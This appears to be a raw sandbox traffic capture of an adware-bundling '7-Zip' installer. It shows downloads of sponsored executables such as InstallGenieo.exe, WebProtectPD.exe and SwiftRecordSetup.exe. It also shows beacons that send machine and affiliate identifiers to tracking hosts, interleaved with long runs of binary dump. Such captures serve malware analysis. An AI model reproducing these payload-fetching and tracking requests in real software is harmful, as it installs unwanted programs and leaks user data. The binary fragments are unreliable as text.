er response: %d.STARTTLS denied. %c.STARTTLS not supported..Remote acc
ess denied: %d....Authentication cancelled....Command failed: %d..MAIL
 failed: %d.DATA....RCPT failed: %d.DATA failed: %d.........SMTPS not 
supported!....AUTH=...localhost...........Failed to alloc scratch buff
er!.SMB.....`.G.0FE..... [email protected].......
..............NT LM 0.12..curl....i386-pc-win32...?????...\\..pop.POP3
..........G..PE..VE..NE.....0VE.._E. PE. `E. `E..........OE.....n....@
..D.....G. ... ........HE..$E. \E...G...F...F...F.....................
....................n...........CAPA....STLS....USER %s.APOP %s %s
<<< skipped >>>


GET /31804.ashx?e=2v0SNuZrMFxVoN1r7EPlazdjsMBgf4Crsg7jyZ2P5QEDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/jW9oxyhiXHqkCN9h bV19VoPPb/i9FtJTgL4xsffnkQbPiCC4paVhdAGW4B5KF0X3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:15 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:25:15 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......



GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=3&index_in_screen=1&index_in_session=3&display_height=170&0.5176325757353702 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.1.10.1430385829; __utmc=1; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:24:18 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:24:18 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=45577-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 27345
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 45577-72921/72922
Age: 3332
X-Cache: Hit from cloudfront
Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ydx--Oy-VxxJHLiD9oC332E01LXCnzv8ybSAfKA2Pb04TzRpLV-2ZA==
...H..@......,...............M.S. .S.h.e.l.l. .D.l.g..............P..*
.<..........................PA.(............................P....,.
......................................*.............M.S. .S.h.e.l.l. .
D.l.g..............P(...x..........................P..................
g................P(...x...L.......P.l.e.a.s.e. .w.a.i.t. .w.h.i.l.e. .
S.e.t.u.p. .i.s. .l.o.a.d.i.n.g...........................(...........
..h.....  ............  ............00.................. .h.....  ....
 .........4...V.S._.V.E.R.S.I.O.N._.I.N.F.O...........................
..............................j.....S.t.r.i.n.g.F.i.l.e.I.n.f.o...F...
..0.4.0.9.0.0.0.0...8.....C.o.m.p.a.n.y.N.a.m.e.....W.e.b.P.r.o.t.e.c.
t.P...*.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n.........2.....F.i.l.e.V.e.r.
s.i.o.n.....4...1...0...1.3.....&.....L.e.g.a.l.C.o.p.y.r.i.g.h.t.....
..8.....P.r.o.d.u.c.t.N.a.m.e.....W.e.b.P.r.o.t.e.c.t.P...6.....P.r.o.
d.u.c.t.V.e.r.s.i.o.n...4...1...0...1.3.....D.....V.a.r.F.i.l.e.I.n.f.
o.....$.....T.r.a.n.s.l.a.t.i.o.n.............<?xml version="1.0" e
ncoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-m
icrosoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity ver
sion="1.0.0.0" processorArchitecture="*" name="Nullsoft.NSIS.exehead" 
type="win32"/><description>Nullsoft Install System v3.0b0<
/description><dependency><dependentAssembly><assembl
yIdentity type="win32" name="Microsoft.Windows.Common-Controls" versio
n="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144cc
<<< skipped >>>


GET /monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430385923&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430385923 HTTP/1.1
Host: logs.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:25 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1389114507"
Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT
Cache-Control: max-age=86400
Content-Length: 35
Content-Type: image/gif
X-HW: 1430385926.dop013.am4.t,1430385925.cds058.am4.c
GIF89a.............,...........D..;..



GET /youtube_accelerator/wizardtest/SMALLTEST.HTM?random=656452&mode=nolsp HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: test.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Content-Encoding: gzip
Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT
Accept-Ranges: bytes
ETag: "bfefaff515ebc81:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:24 GMT
Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF.....



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=555240-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:23:53 GMT
Content-Type: application/octet-stream
Content-Length: 555236
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 555240-1110475/1110476
.F..j....;^I..#........h.6tp..O..K.eT5.dFi.......(.S..m.a.Y....<...
.G...............M.f8....,............F.QM.C...TiJ..;.X{...8....d0.G..
.D]I<....z......tv.x.^B.T9=..c.N ..........F...%.....a.......d..;.s
qPp..\....'...../f..7..J_.^.f... 7.>.ET"....#.k#o.!.3gj.=wr...gBj&l
t;.!.5@Qa ?F......0..............f..K...w{...h.=U..u.{.m....7...yb.\YZ
..ta.cd......t-...;.?.....t....v........MP......|.....i..L2...".:H....
....U..}...d..|Q.jf^...(.Mf......\....E G7.........."32...f..%\.4U... 
.N:....... ...B....%[email protected].,.y.....)..[S.6.5.|Jd;/.._m..s..... ...
FN.........a...<......3. ...$,......M.H8.....~u......vM[..H...{i...
R....N......%.".J.F..1(h?..U...,..(%......V......>........y...}.q.:
!.0..w..Q?C.%Eo...w......R^.v........`..&W..*.,....g.......a..Q...$.r)
..2c....|?.3.[..>l....8hq.L...B..W.I..56 ......}f&...^.|..Uk.4...A.
P.. `f..y&m....t... .Ej....V.}...hs........c.....m.`h....3.3..H[N...$:
.q......).0....b.i.C..T$Z.V......}....T$..o(.Z(#[email protected][.
.C?.....}T{ ...$..n9....*.H.<...3..........z..!.....V........A..9..
..........m.]. .?..~.....[.u!DC...8.jZ..k.G...|.o..d....(....(.. .....
...oa^.5[........|3.j.1..C..'..._g.... ..j.!T.....T..M/p.n..W..7R..Ru.
e....i..F".....h.......t...v....p3.gom|...........i-......&.^|ilN..N.b
.[..&5...z.SY'.7.0.M'@.k..E..Y...2)....blt..~...c...<#JIr..uR.../..
dvGr.[.e...nT..>:B.;.!.......m..>.r.U......}.r..d.P.......H`..(.
i...........`.,p%.gQj..p..S. ....4O2...s.{..R..Wc..v.#...v..Te!...r.."
./..<.....oR*1...c..Y..v.....,^......E.....4a%.q.. .kk...pH....
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=864857-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache



r`o.h.....c)y...=.x..%...%...A_.r.Po...}.........Uq...V.r....i.m].!...
)d.....I..R.$..)*..V.z..O.).n.15.qP.]t.9..'.J2y..9?..S.....4C....a..%.
I....?g...5..M..cy.....o...........<...P.S3c.M../[=u.#.g.m.V._H=...
..E.>U.R..3"..u.|j.n..\...r*.....o.b...;.j\.H......g#..S........hv.
.<..H!.(.......q.g .....Bc..u.E......./5.Qo....j....@^......J....._
=.Iy..K.`.W..E.t...m.w.K..[<..e*.g(.T.fD=.........xeD.g....&.._.b..
Lc.zvkn.Q.O..0NI...~.5.b%k...**.f...sk..)z[.0..JY.u:lJ?...'.M~.k...f..
2.o.T.....#\[email protected]......?z=.F.i....j=..]..W....N..o..#u.......
..y.x.32. 5.AGXx.T^...0.....x....%/B..h....\.C:.oO..K......a..z).@.[Y.
. Z...9.....Tj........m..........zf.(....{..Jh...<....mX6A..h.q....
.;g\.?c.w........_Vpi.]CS...:MD!bM........tE/..`.|.....u.....y.....>
;[email protected].]E...$..~..^../...........\...Dn:.m..M9 &R.|66.
..'9^....q.3...T.Nu..Q.9."j..Kd..#...{.....,...Q......&.Dm.^..3. .....
 .E.........Q..#..7.Z`.-.._....k.K.~.......F..Hqj}.....l..u$.....Q...$
l.([email protected]'D{,c...)}[.4....|..lTX....-u..
F...g.u..".E..}.<.=\...k........a..T...g...JA`.y....J=..%[..¡(.[d
.b..[r.!.....,....E..I.qh[.qpw..6.&......D.I.3.J..v....lYUo...h.z}8...
.3.....rJ-.(....K(\3...4.x D,yKD....j..$ Km..]...HhX.h....]`....01!...
...e....I..#\.m[).%....Ex...:..f.1X.{T^....;...t&....Rrd..,..r...K)r!.
..E......=...=a...L...b..L.x./.p .C.a.9...:...~G^.8..i."DY..1m......GA
........kK...)0.. .|..%S..$B...I..R....K}-.`...w.@....)^...Y....`.r...
....[..R.$...S..g8....G.......W.A......-e/...N....'..........I.y(.
<<< skipped >>>


GET /pin.gif?e=start&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&adv=&v=5.1.0.45 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: stat.webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:23:05 GMT
Content-Type: image/gif
Content-Length: 34
Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT
Connection: keep-alive
ETag: "54bfc526-22"
Accept-Ranges: bytes
GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Thu, 30 Apr 2015 09:23:05 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;....


GET /pin.gif?e=installer&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&adv=&v=5.1.0.45 HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: stat.webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:23:20 GMT
Content-Type: image/gif
Content-Length: 34
Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT
Connection: keep-alive
ETag: "54bfc526-22"
Accept-Ranges: bytes
GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Thu, 30 Apr 2015 09:23:20 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;..



GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1
Cache-Control: max-age = 900
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Tue, 24 Mar 2015 05:02:25 GMT
If-None-Match: "a1132b8ef65d01:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.microsoft.com


HTTP/1.1 304 Not Modified
Content-Type: application/pkix-crl
Last-Modified: Tue, 24 Mar 2015 05:02:25 GMT
ETag: "a1132b8ef65d01:0"
Cache-Control: max-age=900
Date: Thu, 30 Apr 2015 09:24:51 GMT
Connection: keep-alive
....


GET /pki/crl/products/WinPCA.crl HTTP/1.1


Cache-Control: max-age = 900
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Sat, 07 Mar 2015 06:01:44 GMT
If-None-Match: "dde36a309c58d01:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.microsoft.com


HTTP/1.1 304 Not Modified
Content-Type: application/pkix-crl
Last-Modified: Sat, 07 Mar 2015 06:01:44 GMT
ETag: "dde36a309c58d01:0"
Cache-Control: max-age=900
Date: Thu, 30 Apr 2015 09:24:52 GMT
Connection: keep-alive
....


GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1


Cache-Control: max-age = 900
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Thu, 05 Mar 2015 06:01:35 GMT
If-None-Match: "cf2633d6957d01:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.microsoft.com


HTTP/1.1 304 Not Modified
Content-Type: application/pkix-crl
Last-Modified: Thu, 05 Mar 2015 06:01:35 GMT
ETag: "cf2633d6957d01:0"
Cache-Control: max-age=900
Date: Thu, 30 Apr 2015 09:24:52 GMT
Connection: keep-alive
HTTP/1.1 304 Not Modified..Content-Type: application/pkix-crl..Last-Mo
dified: Thu, 05 Mar 2015 06:01:35 GMT..ETag: "cf2633d6957d01:0"..Cache
-Control: max-age=900..Date: Thu, 30 Apr 2015 09:24:52 GMT..Connection
: keep-alive..



GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=36462-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 36460
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 36462-72921/72922
Age: 3227
X-Cache: Hit from cloudfront
Via: 1.1 09052d1a6e392e4f4a3fd97bf34a2b24.cloudfront.net (CloudFront)
X-Amz-Cf-Id: CfmzdROD_UBFJMsWbebz13nQypyWjj9bGvqVo6pm16hJ9mLV4c0ZxA==
......................................................................
.................................................................._...
..........................................V...........................
..................QS`.............%..............................RST..
........S;..............S.................QOTh.........P;??...........
...U...............QOK`.........P;?@@?..............S..............#J^
`........P;?@@@@?..............U............"IK`h........DdEBA@@@@=...
.........SU..........$.JLh........cgg..jEA>..<...........SO.....
......HK^h...............eE...............OU........%.FJ^h............
....j...............SI..........FJ]b................e...............SO
U......%..'M]b................e..............._OI......$.(*MXob.......
........................VP ........(3W\a..........hpppiffT............
..VPIU......)25[n.................................ZPI ......07km......
............................ZPI ......678.............................
......ZP......./6~..................................aZXJ........6~8...
........................a.ZaZaZXKJ........679m........................
.....Z_ZT_PI........075kmn........................._._VTTPPI........)-
.Yln..........................V_VPTPIG........& ,Nlo..................
.........._TPKI.. .....!/45km.................................SR.R....
.%1~...............................................{..................
............................%z.....................................}..
...................t...z.|z..t...............|.........yz......|..
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=457849-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:23:51 GMT
Date: Thu, 30 Apr 2015 09:23:51 GMT
Content-Range: bytes 457849-523255/523256
Content-Length: 65407
Connection: keep-alive
[email protected].............%...a...A*..P..=>(..;.....v.
.@j....|)[email protected]%..=(..$.9.lP..n.4...S......!0.....<...9.T.5-.
:.L.=.E...........W.4r.lk..c...'.P~..............D.-k.q.=co$.0....\L..
&_&z.].HN....)7..|.[.Q;.Aa<.....0]....K.....g`x..Pw...L!!.........f
R.Dht_H....X...h..n.....~.n.... v,[email protected].:../..Q
.'......AD...^...'.....If.X........u..g.....D.1aW.w....3..J9....VQ5.].
. A.?...t......>N.V.u.Q.....}..dT<b.*..s.t..W.1(......; ..!...^Q
.l...P....ZC....iLU....o4..<..8.ld...\O..........o.|...J.........KB
$..|n.x...~...'}....Y.v..`~..^..~z.TU..T.......=p~..W.,..K...d........
lbO#R.`.3y.m...6..o..."2C[.X[q.....ws.x..^...[..L(..5'.g.T.x....Q./!u.
8........*...g..~....).FY...Y.F.M..G.By......r.eE..dI..b. ..>C.....
aSI......"X..1.......L..7.1..Jj.E.D..........m.C..../o.n...[.I.v..SP..
..e......'Bxn..H...dp.O....#:..{..?..^....O.. ....MD...D'N.*.....6.M..
R.P.a.............d..;...h4T.....(./BsjpD.......hH0..,.2.B..5...!.M.. 
1....B.@...'.E..x~....f..N..=!.1....:.J....gj....C.._. G".......o.Q9.O
..#.u........T.....(...W#.(.CIt=...*.>dn*..n.b.."............[..=.,
$.\..R..`k(%...q.|l..M../.0(..L#9....F.Z.G<...W`.X.H\.e.;.....j.M..
............q..H........S..`..e|)[email protected].?.>.\..i;...0...
..G......./...V.V. .j.w|....X.>r....ifZ.X...g.../sU2..p6.$....R....
....,.....X..!S~.Wq..u...^.......*>..(.d....e..|I....nx...W....C2*.
.).j;{Y..mw*BW.....nu.. F...(......3wXt.g.zL..*.l...O@ze......'.4...A.
.1!........Y....V..G5s.p.9...\[email protected]\U......'@1...L.e.tq.
<<< skipped >>>


GET /2763.ashx?e=p9HAq5TtKa nb5JQEhhcuGOp2UthrW4qQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMaW4LiTw82/YNr7XCLs/WzKA8oUQy9Dy2pTU712iqhsWjQlB3kfGAhd3h70Rdi1/mLeCmOKii sWodZTjDiKj8nmywgV52R4NzBT4DqSJhyM3mODCqGlX7dA6 n51 q0ZWY9mFOFfMVf9g94fYHE/69osBG33lbTXqfQBhy6TzfXbNcQlgX3M502CabnGOYGWke9dSH 2S3SkgGeUpHHIWiSSfRcuIfR0fUu0KI1IApgUwqc65TUDdv/PP1z34ZOLgSYtpYjKebNL6y73TEYNzPFCDElAf1p3wmJROK kldW4J6blCBZVH/6vZ0Q0A71TyG5M31uXvEjKEsIucI0jO5EgdUgSYYI4UVmad OIUvygSMLgTI4FQkvCXECXSlinhvQtqud7MrW7eXDOng/CYeO9 UT BdYKC7P/jCAWbGLp97FQtyMXzS1cUkfYdMbxHXoMFjkMUsrRHizkxlLbGbPzj4RseLa5C94hpHP8TYugLyoNEfB WszTKTTpQT3aXNhDOY02fu3zPIC4q/F5S0ktkdvfZXJ aB/i29lmN4S6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:14 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:25:14 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=web2mob_messenger_for_android&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=4&index_in_screen=1&index_in_session=4&display_height=195&0.3646367504845442 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.1.10.1430385829; __utmc=1; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:24:30 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:24:30 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /sd?is=sm HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Content-Length: 523256
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:23:51 GMT
Date: Thu, 30 Apr 2015 09:23:51 GMT
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. ...............................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /v4/sof-installer/MAS_WIN7X64ADA2_adm_0FEBFBFF000306C3?action=smt.chromesyn.exist HTTP/1.1
Accept: text/html, application/xhtml xml, */*
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: xa.xingcloud.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 30 Apr 2015 09:23:46 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
Content-Encoding: gzip
56..............A..0....,9..'.....HZ1.I...6.#Ae.*..IX....dx.p....`....
...m...Y..y?'J".H.....0..



GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=494204-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: /3 Z2HUmKGBDJ3gdTzQbdSlr/huG5R7UVyDopaTfBjj14gj239crfy1aLKMMsGPlZpaTib1mBIE=
x-amz-request-id: 7F55E7CF36D1F81F
Date: Thu, 30 Apr 2015 09:27:21 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 494204-988407/988408
Content-Type: application/octet-stream
Content-Length: 494204
Server: AmazonS3
.;M@{..M.?..4R.[v. .-..bIcw.......b.....!..rf.P.........0.....{......y
..WL.D*^[email protected].)4......V.P!s...!pW6$~......T
..i...kQ.X..-.V.&...;.`...._B..-*.V.*[.S..?...)$\....i...E;........|p.
B|ON......:...@,.qX.vb8.%.<@..z.>_.RB..y.n.oX.AW1(....YU.4..O...
.Q...........A.z[.G..-z#......4/...X..N..l|.p..5!'hV.._.n..c..^.k...E.
....p..5B.......HEm.dh.4.sGUh..WP7.#...........:Z.].K"............B]W.
V...L0q~.].AB.`.trp.eW..J##..[.r,.(.&...."..G..B........#o..`....p...]
5{w.......%z......P}......Wj. M)^...5...Y.C._.7..*........'.. jI.c...t
..@$.X.ty...1.He...eV....}.l.R.2....A.P.....q....#"..58.Yg.f...(...1).
....,......|.#.KB...3H$..N...r...r.)...^.ST.$..?\.... 8,d....{ M...u..
:C........e..FL.j....S...MMd....%.N.i.....y.c..M..H....v.~5........:.f
DI...#.....0.(TH...sWso...:.#~....p....B!.....D."m..Xt..c,.m...e....z.
F*..m.Ci.Qt.....j.m*<...n.7...M..J......(..{....z......y.v.."@kNX.k
3{.m.[.._m\....(...Rz.ka..Qwb....3.\o.?.x..6........j..Do..j....)q....
]Q..}.. ....9....x.. b#Q/ .g.._.-Y.ZZ..r>2.e.\zu....d:w..].j..ma.0D
[........9..2.=...<....j..h.D.3Z..0.f.{$......i..tm..y.J.>.$.kz.
......_.....z...Q.K.(..=.7..I....C.9R_.z...w...B.... ..y...2.j..@'q.m.
.zs..}.........z...r).~....%.............]..rY0..Y.sgE...B.e.....|.<
;h..q.tLPw.....MD....z.....z..3..jP.KQ6>.I..#.{...gyf...@|..#....|.
.,t..m....q*.r.OLX`"B.....k....!n.Q;n......2vn....... a....{..|z...H..
..C.!.eGn.#.....-..m.R...N...._..e..k.&../p......b.....jq.L.-.c..q/..O
/b.......m....~.....:D.A&..Y...`...z..c..U...F...jZ.G.s....*..AI..
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=196221-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:23:51 GMT
